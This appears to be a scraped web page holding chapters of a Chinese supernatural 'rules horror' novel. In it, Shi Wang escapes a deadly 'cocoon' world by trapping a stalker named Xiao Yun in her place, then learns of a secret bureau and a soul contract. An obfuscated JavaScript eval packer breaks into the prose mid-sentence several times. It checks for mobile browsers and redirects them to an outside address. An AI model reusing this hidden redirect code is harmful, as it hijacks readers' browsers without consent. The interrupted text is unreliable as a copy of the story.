只是他露出的皮肤都布满了细密的绒毛,毛茸茸的手,毛茸茸的脚,毛茸茸的头。 或者可以说是毛茸茸的狗头——敲门者是一只站立着口吐人言的狗。 时望:…… 小东西,你的好厚米来了。 来都来了,还能不开门怎么着。 时望依旧只打开了半个身子宽的门缝,只是这次时望特别防备身后会有什么东西突然窜出来。 时望先开口:“你好?” 狗头人外卖员似乎惊讶于真的有人开门,眼睛微微睁大。 “李女士你好,这有你订的饲料。” 时望伸出手,手掌向上:“好的,那我的饲料……?” 时望与外卖员一人一狗四目相对,尴尬的气氛开始弥漫在这小小的门缝里。 片刻沉默后,外卖员似乎有点疑惑道:“那麻烦李女士您像以前拿一下饲料盆出来,我司出于环保的考虑已经不另外提供饲料的包装。” 时望表面保持冷静,实则在努力使自己走神挤走脑海里对李娟相关事情的思考。 “好,请稍等”,话音刚落,时望就打算关上门去厨房拿饲料盆。 门被一个狗爪子拦住。 时望:? 外卖员显然比时望更疑惑:“李女士您今天是有身体不适吗?请不要关门。”他打量着时望,似乎很不理解今天的李女士怎么忘记了很多规矩。 “您关门的话,也就代表我这次敲门结束了,我就要走了。” 他顿了顿又道:“想必您也不希望这种事情发生。” 时望忖度着他的话,身后已经有动静了——大概是小东西来了。 敲门者大概和宠物一样,有自己的规则。 时望没继续犹豫,保持着半身宽的门缝,回头往厨房走去。路上还不忘伸出脚绊一下正往门外飞奔的小东西。 小东西被绊倒,原地给好厚米外卖员表演了一个脸刹。 时望并不关注身后发生了什么,她快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小东西看到一地的饲料本就想冲出门开饭,但忌惮于端坐在它身后的小别致,两个狗头一个看地上的饲料,一个盯着小别致,真是好不忙活。 看到时望毫不犹豫关上了门,小东西彻底失去狗生梦想,回到角落继续自闭。 小别致看小东西没占到什么便宜,也就回飘窗继续小憩了。 时望打量着一猫一狗,暗想最后一块拼图终于拼上了。 敲门者可以促进宠物分裂,而房子内的宠物如果有一方优先分裂完成,那另一方必被压制,优势方就可以在敲门者到来时将其引进屋里。 然后,时望死亡。 5. 独居女性生活指北(5) 收完信与接收完饲料后,今天应该不会再有有效的敲门了。 理论上应该是这样的,但也仅限于理论而已。 时望刚把饲料放到冰箱上,就又听到门外传来异响。 不同以往的是,这次的敲门声更钝,更像是什么东西撞到门上了。 时望回到门前站到板凳上往猫眼看去,门外狭小的空间里有五个会动的生命体。 时望很难根据自己的知识体系给门外的生物进行物种分类。它们长得各有各的不幸,唯一相同的特征就是都四肢着地行走。 ——五个宠物。 它们正在专注地舔食地上的饲料,门外传来的声音只是它们争抢饲料的过程中,身躯撞到门上的钝击声。 时望看了没一会儿,浓雾里又钻出一只宠物直奔饲料而来。 时望并不意外洒在地上的饲料会吸引宠物,她也不认为外卖员故意让饲料溢出仅仅为了恶心她。 但仅仅把宠物聚集到门外的话,时望只需要消极应对,无视所有的敲门声即可不痛不痒地度过今天。 这可不值得外卖员付出这么多饲料作为代价,除非他在做慈善。 时望看门外的情况无非是一群宠物抢食,便从板凳上下来。 听着门外此起彼伏的撞击声与嘶吼声,时望深知今天下午不可能会有一个惬意的午睡了。 时望的思绪从午睡泡汤的难过转移回门外的宠物上,她斜倚着墙,手指有节奏地在墙上点击。 规则上提及的蓝衣人至今都没出现,蓝衣人所属阵营未知。 如果门外的宠物和蓝衣人的出场有关,那—— 时望还没捋清思路,就有异响打破了噪声平衡。门外忽然传来棍棒殴打于骨肉上的沉闷声,嘶吼声突然拔高,宠物进食的粘腻声也停止了。 好像有什么不得了的东西到达门外了。 时望再次站上凳子观察门外的状况,只见一个穿着蓝色T恤的强壮女人提着棒球棍正一对多地和宠物们搏斗。 宠物们对这个长相清秀的女人显露出不合常理的恐惧,有两三个宠物的四肢在止不住地发抖,但又不得不战斗。 它们齐齐向蓝衣女扑咬而去,蓝衣女轻描淡写地挥舞棒球棍,宠物们一下就全被横扫到地上。 随后她轻晃棒球棍,看似轻飘飘地打到她脚边的一个宠物的头。霎时间,那个倒霉蛋宠物头骨碎裂,红红白白的内容物淌了一地。 没多会儿门外的宠物死的死,伤的伤,能动弹的几乎没有了。 蓝衣女蹲下身将一个瘫痪的宠物翻过身露出肚皮,然后手成爪状刺破宠物的胸膛,取出心脏,抬手就往嘴里送。 吃完一个心脏后,蓝衣女手臂上本就突出的血管搏动更加明显,虬结的肌肉比之前更为隆起。 时望怀疑蓝衣女把宠物心脏当蛋白粉吃,且对她吃饭不洗手的行为表示非常不认可。 门外满目鲜红,时望的眼睛看久了有点不舒服,便将视线转回屋内,这时才发现小别致和小东西的异样。 它俩尾巴下垂缩在角落里,身躯止不住地颤抖。 它们也在恐惧。 时望轻挑眉,要不是蓝衣女还在门外,她现在高低都要调戏一下小别致和小东西。 这么想着,时望倒也没继续纠结门内宠物的异状,而是将注意力放回蓝衣女身上。 门外生吃血肉的咀嚼声已经停止了,每个宠物的体表都沾满了鲜血。狰狞、恐惧、不甘永远地固定在一张张本就不符合人类审美的脸上,它们胸膛都有拳头大小的血洞。 俨然一副地狱景象。 而始作俑者正安静地站在血泊之上,凝视着时望家的门,鲜红的液体自棒球棍的末端滴落。 时望打量着门外的血人,轻叹一口气,脑子再怎么有泡的人都不会给这种煞神开门吧。 棒球棍上的液体滴落10次后,蓝衣女抡起棒球棍轻轻地点在门上,就像她刚刚敲宠物的头那样。 笃,笃,笃。 小东西听到敲门声,颤抖更甚,不住地发出呜咽声,即使隔着门都无法缓解这来自灵魂深处的恐惧。 蓝衣女似乎也没打算等人开门,敲完门后就从裤兜里掏出用黑色塑料袋包裹得严严实实的物件,然后解开塑料袋,取出一块鲜血淋漓甚至还有神经反射的肉块,随后蹲下身将肉块放下。 不一会儿,时望就闻到一股难以形容的气味——浓烈的血腥味里夹杂着一丝从未闻过的异香,很难闻,却不会让人讨厌,甚至让人有去探寻异香根源的冲动。 时望手指猛掐手心,确定自己保持清醒后,马上回头探查小别致和小东西的状态。 果然,这个肉块是冲它俩来的。 小东西和小别致依旧处于极度恐惧的状态,但它们腿好像有自己的想法,正往门口飞奔而来。 时望见状立刻从板凳上下来,贴着墙站,任由它俩直接撞门上。 只见小东西和小别致重重地撞到门上,“砰”的一声听起来就让人牙酸。但它俩并没有就此停下,反而开始疯狂地挠门,歇斯底里地吼叫。 口涎自嘴角滴落,血丝瞬间充满眼睛,明明害怕得要死都还想出去。 就像是献祭,向邪神的献祭。信徒害怕死亡,但更害怕无法向伟大的信仰表明忠诚。 时望眉头轻蹙,小东西和小别致这种过于兴奋的状态也不知道能坚持多久,但她又无法出手阻拦。 一旦小东西和小别致被外力阻止动作,门外的蓝衣女就知道家里有人了。 时望此时无法得知蓝衣女的行动,但门在晃动,应该是蓝衣女试图在门外踹门。 她无法确定这堵随便买的门是否足以顶住猛女的进攻,但此时除了在精神上对门表示强烈加油外,她也无法做更多了。 门内的宠物吼叫声完全覆盖了门外的动静,就在时望都快要习惯这种尖锐的噪声环境时,小别致和小东西的叫声渐渐变弱,很快身体就因为过度的消耗而疲软在地上,昏睡过去。 时望确定它俩不会暴起妨碍到她之后,就轻轻地站回板凳上,蓝衣女正在将肉块包裹好放回口袋中,放置好肉块后,蓝衣女一手提着棒球棍,一手拖着一只宠物的脚,头也不回地隐入浓雾中。 门内门外同时回归寂静让时望还有点不习惯。她从凳子上下来时,被不省猫事的小别致绊了一下,便一手一个宠物将它们放到飘窗上,让它们继续休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以时望猜测宠物碗有特殊的作用。比如放到碗里的东西都可以吃,或者都可以攻击。 然后时望就试了一下,反正猜测错了也没啥大碍。 小东西看到小别致的脚出现在碗里,毫不犹豫地就啃了一口,两个狗头之间的分裂也加快了。 看来小别致没有脚臭,时望想。 无缘无故痛失一脚的小别致很无助,很生气,但又被饲料吸引,只能先继续炫饭。 并且还一瘸一拐地远离时望。 这个人,不值得交付后背。 时望看到小别致的分裂变慢了,便知目标达成,对小别致无意义的防御行为毫不在意。 喂食完毕后,小别致和小东西直接开战,看那个架势似乎要打个不眠不休。 时望都不知道今天刚发过癫的一猫一狗是哪来的精力打架的。但作为战争发起人,她对于矛盾转移的现状是很满意的。 除此以外,再无异样。 平静一直延续到第二天早上,这也是时望来到这里的第三天。 时望有预感,今天就会结束一切。 6. 独居女性生活指北(6) 其实昨晚从物理层面上来说,也不是那么的平静。 小别致和小东西打架的声音时不时从客厅传来,偶尔还有敲门声,门外的“人”大喊:“开门!有人向物业投诉你家深夜扰民!” 甚至还有婴儿哭声。 总的来说还挺热闹的。 但这又关时望什么事呢?时望只是一个睡眠质量比较高的打工人罢了。 起床后准备喂食的时望看到小别致和小东西三个头都挂彩了,对小别致发出无情的嘲笑:“小别致,你的实力就这?” “丢不丢脸啊,自己的脚都守护不住。” 这场毫无意义的谈话以小别致疑似骂得很脏的“喵喵”声结束。 喂食时,时望照常在宠物旁边观察它们进食。不同的是,这次小别致和小东西都不愿意将后背交给时望了。 时望觉得小东西真不是个厚道狗,明明昨晚她还帮了它。她不由地感慨:“人与狗之间的信任真是脆弱啊。” 小东西本狗对此不作回答,并希望人类自己心里有数。 这次喂食之后,俩宠物的分裂进度都到达90%以上了。 小别致头顶的裂缝已经开裂到尾巴处,裂缝里的小猫眼睛滴溜溜地转,时不时还会发出微弱的叫声。 小东西两个头之间的开叉已经到后腿处,不开心和没头脑愿意配合的话,真的可以给时望表演一下各奔东西。 无论怎么样,今晚的喂食之后,它俩必然分裂完成。时望今天一定要离开这里。 时望无所事事地在客厅转悠,通过数瓷砖这种毫无科学依据的占卜形式来预测今天第一个敲门的会是谁。 “邮差、外卖员、小云、邮差……” 时望刚好数到外卖员时,走完所有的瓷砖块。然而还没等时望完成下注,门外便响起了敲门声。 咚,咚,咚。 敲门者叩门三声后就停手了,也不出声。时望挑眉,预感到自己的占卜应该会不太灵验了。 时望往门外看去,再次感慨果然要尊重科学,数地砖一点都不灵。 门外站着一个穿着碎花裙子的……男人。时望尊重所有人不违法不违背道德的癖好,但这个男人的装扮到底有点超出时望的想象力了。 他和时望差不多高,黝黑粗糙的皮肤裸露在外,长期营养不良般纤细的四肢,可以轻易看到皮肤下粗大的青筋。 一头乱糟糟的稀薄长发隐隐可见头皮,三角眼,蒜头鼻,嘴角旁还有一个引人注目的肉痣,一根长长的毛发生长在痣的正中央,随着脸上的肌肉一起抽动。他的脸上还有着精致的浓妆。 可是这个精致的妆容盖不住他脸庞过于显露男性特征的线条,只会增添不协调感。 时望叹了一口气,不由地怀念起昨天的蓝衣猛女,她可是这几天里最让时望有同类归属感的“人”。 门外除了这个造型有些许炸裂的男人外,更让时望在意的是门外的浓雾消散了。 浓雾褪去后的门廊就跟往常一般,明亮宽阔。 如果不是小别致和小东西还在家里蹦跶,今天就好像过去平凡的每一天,仿佛时望只要走出门就能离开这里。 时望反手拍了两下墙,故意制造出明显的声音让门外的男人,或者说小云听到。 小云听到声音后,神情明显兴奋了起来,他再次敲门,一道低沉的嗓音伴随着雀跃的语气从门外传来:“小娟,我是小云,我来啦。” 时望从板凳上下来,冲门外喊道:“来了。” 然后时望拧动门把手,缓缓打开一人宽的门缝,直面小云。 小云看到时望之后,小小的眼睛更亮了,他的手用力抓住斜挎包的背带,青筋尽显。 他在克制情绪,时望看着他的手得出结论。 “小娟,我没想到你这么好看。”小云直勾勾地看着时望。 时望歪头,违背良心地做不必要的社交:“你也很好看。” 小云闻言抓住背带的手用力到发白,然后用期待的语气向时望请求:“小娟,我坐了一天一夜的车,我可以去你家休息一下吗?” 时望挑眉,把门打开得更大,指着玄关处的男士拖鞋道:“昨晚我爸妈来看我啦,我爸爸出门买菜了,妈妈还在睡觉,我妈妈不喜欢我随便带人回来,她会生气的。” “而且我已经买了待会儿去动物园的票,现在出发刚好能赶得上。” “我们先去动物园吧,毕竟这个票可不好买。”时望也没等小云回答,自个儿话赶话的就定好了行程。 话音刚落,时望也不等小云做出反应,转身就往屋里走,边走边说:“小云,你等一下我哦,我去拿一下包包。” “小娟……”小云看着时望的背影,贪婪的目光不加掩饰地流露出来,他的脚尖也想跟随时望往屋里移动,但他看到门口处的拖鞋,刚抬起的脚又放下了。 反正有的是机会,不急于这一时。 时望回房间随便找了个帆布包,往里胡乱揣了一点东西,便往门外走去。 她走到玄关时,才想起自己还穿着啪嗒啪嗒的小海龟拖鞋一般,朝小云尴尬地笑着道:“你看我,忘了换鞋了都。” “小云你可以帮我拿一下包吗?我穿一下鞋,很快的。”说着时望便拿着包朝小云走去,她的脚还在门槛内。 “当然可以。”小云回应道。 小云固然疑惑屋里有那么多地方可以放包,为什么时望特意要让他拿包。但他觉得也不是什么大事,就伸出手去接包。 时望见状,便要把包递给小云,然而在即将触碰到小云的手时,时望一把抓住小云的手,用力地把他往屋里拽。 小云被拉着往屋里走时,时望同时往外跑。 当小云完全进入屋内,时望也迈过了门槛。趁着小云没完全反应过来,时望另一个手握住门把手飞快地把门给关上了。 门关上时发出“砰”的一声,同时被关住的还有小云错愕的眼神。 不出意外的话,小云现在已经顶替时望成为了一名独居女性且拥有了一猫一狗。 时望衷心地祝福不久的将来小云能拥有两猫两狗。 门内传来小云暴怒的声音,还有一猫一狗被盛怒的主人吓到,疯狂吼叫的声音。 时望握着门把手的劲儿一直没松,她担心小云还能开门出来。 没过多久,小云和宠物们的声音越来越远,直到再也听不见小云的声音时,时望听到了一声无奈又释然的微弱叹息。 这声叹息就像是一阵风吹过时望耳朵时,悄悄留下的呢喃,很快就随风消散了。 时望环 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715081|144738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾四周,还是找不到叹息的来源,抬头时却隐隐约约看见一个白色的像蚕茧的东西上缠绕的丝线一段一段地脱落,直至整个茧完全崩塌。 她下意识伸出手去接住飞舞落下的丝线,什么都没接住。她眨了眨眼,就什么都看不到了。 手里的门把手传来丝丝的凉意,时望回头才发现此时天全黑了,低头朝自己的脚上看去,她穿着那天下班时穿着的运动鞋,脚边还有那半个西瓜。 时望回来了。 --- 同和街道办事处二楼 江宜看着屏幕上突然灰暗的坐标,微微睁大了眼睛,确认不是自己加班加出幻觉后,快速拿起电话:“报告头儿,半小时之前误入E105N40的人已自行出来了,确认E105N40茧已崩塌了。” 被埋在文件堆里的孟甫言批改文件的手稍顿,抬头看了一眼刚赶回来的秦温阳,回复道:“做好文档记录,以及尽力招纳新人。” “收到!”江宜早就认了自己加班的命。 但想到又有一个人能喘着气儿从茧里出来,还把茧给整崩塌了,她的嘴角就忍不住上扬,一副加班加到精神错乱的样子。 刚从外面赶回来的秦温阳还没来得及坐下,就听到这通电话。 她坐到沙发上给自己倒了一杯茶,等待孟甫言下一步的指示。 “温阳,W107S50扫尾怎么样了?”孟甫言一直都很不理解为什么秦温阳明明没有进食的需求,但老来薅她的茶。 秦温阳有模有样地抿了一口茶:“基本都完成了。” 孟甫言的笔尖划过日程表,发现暂时没有新的任务派给秦温阳。 “那你就写一份W107S50的完结报告吧,没别的事了。写完早点休息。”孟甫言很清楚秦温阳这段时间非常辛苦。 “那我回去休息了。”秦温阳直接无视孟甫言的前半句话。 秦温阳站起身,往门口走去,即将开门时还不忘发出重要点评:“你的茶,太烫了。” 说完就扬长而去了。 孟甫言拳头硬了。 --- 时望家里 时望终于回到自己的家了。 没有长得抽象至极的猫狗,没有恶臭熏天的饲料,更没有乱七八糟的东西来敲门的家。 时望坐在沙发上仰头看着天花板,她拿出手机对了一下时间,距离她上次下班回家仅过去了半小时。 怪不得在那个鬼地方里将近两天,她从不感觉到饿,时望心想。 裤子的口袋里有什么东西硌着时望的腿,时望随手掏出来,发现是那张规则指南。 “原来真的不是梦啊。”时望小声说道。 她从小就会做很多离奇的梦,在梦里有着许多万花筒般的经历,最严重的时候她甚至会分不清梦与现实。 时望在手机浏览器的搜索栏输入“同和街道办事处”,搜索结果显示这就是一个很正常的政务机构。 她想了想,又补充输入“同和街道办事处二楼”,这回基本就没有完全符合关键词的搜索结果。 这个结果符合时望的心理预期,她抬起小臂捂住自己的眼睛挡住灯光,放松已紧绷两天多的神经。 果然还是要亲自去一趟这个所谓的同和街道办事处二楼。 7. 同和街道办事处二楼 清晨 温暖的阳光将时望从毫无逻辑的梦境中拖回现实。 时望昨晚的梦是年幼的自己惹妈妈生气后,向妈妈道歉的方式是没皮没脸地缠着妈妈要亲亲。 一般来说,人的梦再怎么离奇,梦里的细节知识等信息都不会超出本人的认知。 可是时望自小在孤儿院长大,没有任何亲人。 大概是什么时候看到有小朋友这么做过吧,时望无可不可地想。 今天时望打算照常上班半天。 倒也不是时望有多敬业,而是一个人独自在异空间和一堆妖魔鬼怪呆了两天后,作为群居动物的人类需要吸收一点人气了。 另外,时望计划下午请假,去一趟同和街道办事处二楼。 一上午时望除了成功把秃驴领导给气得吹胡子瞪眼外,基本就是和隔壁工位的陈卓清有一搭没一搭地唠嗑。 和陈卓清约好这周末去博物馆看特展后,也差不多到午休时间了。 时望随便扒拉几口饭后,就打车前往河山路23号。 这个地方离时望的公司不远,就在市区边上,坐车半小时就到了。 时望下车后,不得不感慨自己在这边住了这么多年,都不知道这个犄角旮旯里还有一个街道办事处。 只是眼前这座有了点年纪的老建筑分明只有一层楼。 二楼在哪? 不远处有一个穿着保安服的大爷,大夏天不遮不挡地在午后的烈日下比划太极拳。 时望感觉最近自己净遇到一些怪事,但本着来都来了,假都请了的人类基本让步原则,她走到大爷旁边,询问道:“大爷,打扰一下,请问你知道这儿的二楼怎么走吗?” 大爷闻言停下了比划,饶有兴致地打量着时望:“最近楼里都在传的那个把茧整崩塌的人原来是你这个小姑娘啊。” 时望:? 这个老头在说些什么? 大爷看着时望一脑袋的问号,也不打算解答,笑眯眯地道:“姑娘,规则纸带上了吧?”他手指向大门,“把规则纸拿在手里,走进去就到了。” 时望虽然对这个大爷有诸多疑问,但直觉他并无恶意,道了声谢之后便按照他的说法,把那张规则指南拿在手里走进大门。 大爷满脸欣慰地目送时望进门,低声喃喃道:“是个好孩子啊,小秦和小孟的担子能轻些咯。” 进入大门时的凝滞感与那天下班刚进入异空间时的感觉一样。 时望两个脚都进入门之后,刚刚还是宽阔的门前广场已变成室内。 古朴的牌匾悬挂在头顶,其上书写着“同和街道办事处二楼”,没有落款也没有日期。 牌匾之下则是极其现代化的自动玻璃门,这种跨时代的混搭风格让时望一时都不知从哪吐槽起。 玻璃门是单向可视的,时望在外面看不到门内的布置。 走进门后,时望眼前是一个普通的办公室,共有三排工位,每排大只有三四个位置。 每个工位都有自己不同的装饰风格,有个比较显眼的工位从办公椅到键鼠都是粉粉嫩嫩的,桌面上的置物架全是手办,一看就知道工位主人短期内无离职意向。 只是在工作时间里,整个办公室空荡荡静悄悄的,时望放眼看去愣是没看到一个人。 她往玻璃门上敲了三下,发出明显的响声后,提高音量道:“请问有人吗?” 最角落的工位处有人应声:“有的有的。” 说话者站了起来,是一个绑着马尾的年轻圆脸女人。这时,时望才发现那个被电脑屏幕挡住的位置还有一个人。 圆脸女人朝时望走了过来,也不问时望的来意,而是先介绍自己:“你好,我是江宜,同和街道办事处二楼后勤部部长。” “你好,我是时望。” “这里不方便说话,我们去会议室简单聊一下吧。”江宜的手往一个隔间的方向做出请的姿势。 时望轻微点头,跟在江宜的后面走进了一间小会议室,会议室里只有一张长桌,四张椅子,和一个显示屏。 “你不用紧张哦,我们只是想了解一下你在茧里的经历。”江宜说话的语气很有亲和力,总给人一种“她这么温柔,一定不会坑我”的感觉。 是个很适合谈判的人。 话音刚落,江宜似乎想起时望也许不知道茧,又补充道:“茧就是你昨天经历的那个异时空,或者说鬼地方?” “总之就是昨天你遭遇的无法用常识解释的经历,你能理解就好。” 江宜引着时望落座,询问时望:“你有什么想喝的吗?” “我们有可乐、雪碧、橙汁、白开水、咖啡和茶。” 然后江宜稍稍凑近,用气声跟时望说:“我们头儿收藏的茶叶可贵了,你想喝茶的话我去给你偷……拿点儿。” 时望谈不上喜欢喝茶,但看着江宜亮晶晶的眼神,实在无法拒绝她的好意,只好假装自己没听到那个说漏嘴的“偷”字。 她也跟着用气声说:“我要茶,谢谢。” “好嘞,那你稍等一下~”江宜得到回复就去泡茶了,没一会儿就拿着一个透明茶壶、两个小茶杯和一瓶纯净水进来。 江宜将一个茶杯和纯净水放到时望面前,温声说道:“茶水会比较烫,如果口渴的话就先喝着纯净水。” “还没问你怎么称呼呢。”江宜看着时望,嘴角带着友好的笑意。 时望一直无法抵抗女性,尤其是年长知性的女性的善意。 “时间与希望。” “真是个好名字呀。”江宜咂摸着这两个词,稍稍斟酌措辞之后,正色道:“时小姐,我正式介绍一下,我们单位的全称是特殊事务情报局,主要负责处理茧原相关事务,比如你看到的那张规则指南就是我们张贴的。” “茧原,就是人死后会经过的一处平原,因其遍布由逝者的执念和某种存在的恶意形成的茧而得名。” “茧内自成一方时空,可能是逝者执念扭曲形成的场景,也可能是单纯对所有进入者充满巨大恶意的空间。” “前者只要解开逝者的执念,茧便会崩塌,后者需要完全破坏茧内的能量根源,才可使茧彻底消失。” 江宜直视时望的眼睛:“一般来说,还活着的人是无法看见以及进入茧原的。” 时望眉头微蹙,桌子下的左手搭上右手的手腕,可以触摸到明显跳动的脉搏。 然后她得出一个结论:她应该还没死吧。 看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这里有两种可能,一是小云可以控制浓雾,那他根本就不可能和我是同立场的。”时望整理好思路,带着点沉重的语气说出第二种可能:“二是小云不可以控制浓雾,而是规则制定者,也就是李娟要求我解决掉小云。” “李娟的视角里,小云很明显不是个好人。” “我扮演的是李娟,所以小云不会是来救我的。” 江宜闻言,提出疑问:“为什么小云不是好人?” “以寄礼物之名套取家庭住址、不请自来、大概率曾隐瞒过自己的性别、根本不在乎李娟是否有时间陪他,就定了一堆行程。” “至少不是个正面人物。”时望换了一个委婉的表达。 江宜思考了一下,对时望的做法表示认可。 然后她拿起规则指南解释道:“茧里会有这张规则,是因为我的同事进入过李娟的茧。她的能力比较特殊,可以有两个分身。最后她是将一个分身留在屋内,一个分身跟着小云外出。” “外出的分身故意往人多的地方走,他甩掉小云后就从茧里出来了。当然结果你也知道,茧没有崩塌。” 时望听到“能力”时,点着桌面的手指就停了下来。 江宜知道时望在想什么,狡黠一笑:“我感觉你应该也有能力了哦。” 8. 李娟的故事 时望的表情毫无波澜,平静到江宜怀疑自己刚刚说的不是时望有新的能力,而是说时望今天吃了两顿饭。 江宜感觉有点挫败,但又有点好奇地问:“你是怎么知道你有异能的?” “异能?”又一个新的概念扩充时望的认知范围。 时望快速回想这两天的经历,左手的食指和拇指比划出一个“C”,说道:“如果说以前我对其他人的情绪敏锐程度只有这么多的话。” 她伸直食指变换成“L”型,继续道:“那从茧里出来后,就变成了这么多。” 从昨晚到现在,时望已经两次因为直觉,选择过度相信陌生人。 一次是门口的大爷,一次是江宜。 而她的直觉来源是她感觉到这两个人对她的到来是开心与期待的。 很抽象的依据,完全不像时望一贯的作风,但时望的潜意识对此深信不疑,所以时望选择相信自己。 再想起茧快要崩塌时,那声无奈又释然的叹息。 当条件完全成立,推导过程可信时,即使出现可能性无限趋近于0的结果,那也是结果。 时望也许拥有了科学无法解释的能力。 “我也很好奇江小姐你是怎么知道我有…异能的?”时望双手托腮,做出洗耳恭听的态势。 “那当然是因为我也有异能呀。”江宜顿了顿,反问时望:“无奖竞猜,你觉得我的异能是什么?” 时望保持托腮的姿势不变:“大概是类似于有无判定,或者说是目标的状态判定?” 又想起空荡荡的办公室,补充道“贵司一副很缺人手的样子,既然江小姐负责留守,所以你的异能应该是偏向于信息收集与发放的?” “对于贵司来说,最重要的信息大概是是否有人进出过茧,人是否还活着等唯一性判断问题。” 时望放下托腮的手,给自己倒了一杯茶,细抿一口。 什么都没品出来,她果然不适合喝茶。 放下茶杯,时望抬头向江宜求证答案:“所以江小姐的异能是什么呢?” 江宜惊讶于时望的敏锐,无论是在茧内还是茧外。 她无奈地笑道:“得亏是无奖竞猜啊,跟你说的差不多,我的异能名称是状态感知。” “不过只能知道有或者没有,而不能知道有什么。”江宜想了想,用一个当下的例子加以说明:“我只能知道你觉醒了异能,但不知道你的异能是什么。” 然后江宜留下一句“稍等一下”便站起身离开座位,没几分钟就回来了,手里拿着一张类似于工牌大小的卡片。 江宜一边把卡片递给时望,一边解释卡片的功能:“这是契约纸,一个非常重要的道具。” 时望发现卡片可以展开成A4纸大小,除了左上方和右上方各有一条横线外,其他地方都是空白的。 江宜看见时望的手指摩挲过那两条横线,就优先解释横线是何用途。 “那两条横线是用来签名的。” “在左边的横线上签名后,就可以在契约纸上看到自身异能相关的信息,比如异能名称,用法,等级等,是个很实用的功能。” “在右边的横线上签名后就代表你签订了灵魂契约。” 时望的手指停止在右边的横线处:“灵魂契约?” 江宜轻轻点头:“简单来说就是和茧的主人签订契约,茧的主人将生存规则给到进入者,进入者如果在茧内死亡,则自愿将灵魂献给茧主。” “相当于签了个死后的卖身契?”时望挑眉。 江宜无声叹了口气:“代价确实很沉重。但我们局人手严重不足,根本做不到去每一个茧张贴规则。普通人进入到茧内,虽说有生存规则也不代表一定能活下来,但没有规则的茧生机渺茫到足以让人绝望。” 时望认同她的观点,如果没有规则,时望在茧内仅为了琢磨出喂食时间应该就要付出不小的代价,甚至是生命。 “人类是需要希望的,哪怕只有一丁点。”江宜垂眼,右手轻轻晃动着茶杯。 茶杯里茶叶沉沉浮浮。 时望从会议桌中央的笔筒里抽出一支笔,在左边的横线上签下“时望”二字。 契约纸的左半部份有黑体字逐个浮现,时望感觉自己以前做的梦还是有点保守了,现实只会更不科学。 不到一分钟就不再有新的黑体字出现,纸上仅多了短短的几行字: [异能:情绪感知 异能等级:F(一个敏感的普通人而已) 情绪能量值:3 能力描述:还用描述?反正没个锤子用。] 时望嘴角微不可见地抽了一下,这破契约纸是不是过于有想法了。 江宜看到时望表情不太对,轻声问道:“怎么了?” 时望翻转契约纸,让江宜看到内容。 江宜:…… “是这样的,负责这个功能的前辈是一个…嗯…比较严格的人。”江宜在潜力股面前努力为情报局保住颜面。 时望对此说法保留意见,她更在意的是能量值。 “这个情绪能量值代表着什么?” 江宜在脑海里遍历一下已知的异能,试图寻找类似的例子来回答这个问题。 “不好说,我见过有比较类似的能量值是一位有治疗异能的同事,她有一个治疗能量值,满足一定的数值后就可以治疗相应程度的伤病。” “具体的用法可能还需要你自己探索一下。” 时望颔首以示理解。 江宜思索再三,略显犹豫地开口:“异能是因为人类或者灵魂在茧内被祂的气息浸染而异变的能力。我们局对员工异能的原则是不过度使用就行。” “对于不想再进入茧原的人,我们的建议是尽量不要再使用异能。” “避免祂发现了你,并加以注视。” 时望察觉到江宜的犹疑,体贴地没有追问太多。 江宜再次感慨时望的敏锐,看见契约纸右边的横线还空置着,说道:“关于灵魂契约的签名你可以慎重考虑一下,如果下次再误入茧,且茧内没有规则纸时,你用指甲划出你的名字,契约也是成立的。” 时望一点都不希望还有下次。 说完江宜喝了一大口茶润嗓,牛嚼牡丹般喝下去后,有点郁闷地和时望吐槽:“也不知道头儿的茶叶贵在哪,我喝了这么久都喝不明白。” 时望向江宜口中的头儿表达同情。 下属喝茶是喝不明白的,但茶还是要喝的。 “关于契约纸和异能的事情我基本明白了。可以的话,我还想知道一件事情。”时望的手指又开始轻点桌面。 时望很在意离开茧时,那一声叹息。 “李娟的结局是什么?或者说她是怎么死的?” 江宜闻言沉重地叹了口气,让时望稍等一下,再次从座位上离开。 这回她离开的时间更久了一点,回来时抱着两个厚厚的文件夹。 江宜摊开其中一个文件夹放到时望面前,页面的内容是一张被裁剪过的报纸。 [2XXX年4月15日,楠平市市区某小区内,一名李姓女子被邻居发现惨死家中,犯罪嫌疑人赵某云于16日被抓获。 案件详情为赵某云系死者笔友,在往日的通信中以寄礼物之名获取李某住址。赵某云于4月2日伪装为快递配送员,以签收快递为理由要求李某开门。李某开门后,赵某云强行闯入室内挟持李某,要求李某交出10万元,李某表示可以满足其要求,但需要联系父母汇款凑齐赵某云要求的金额。 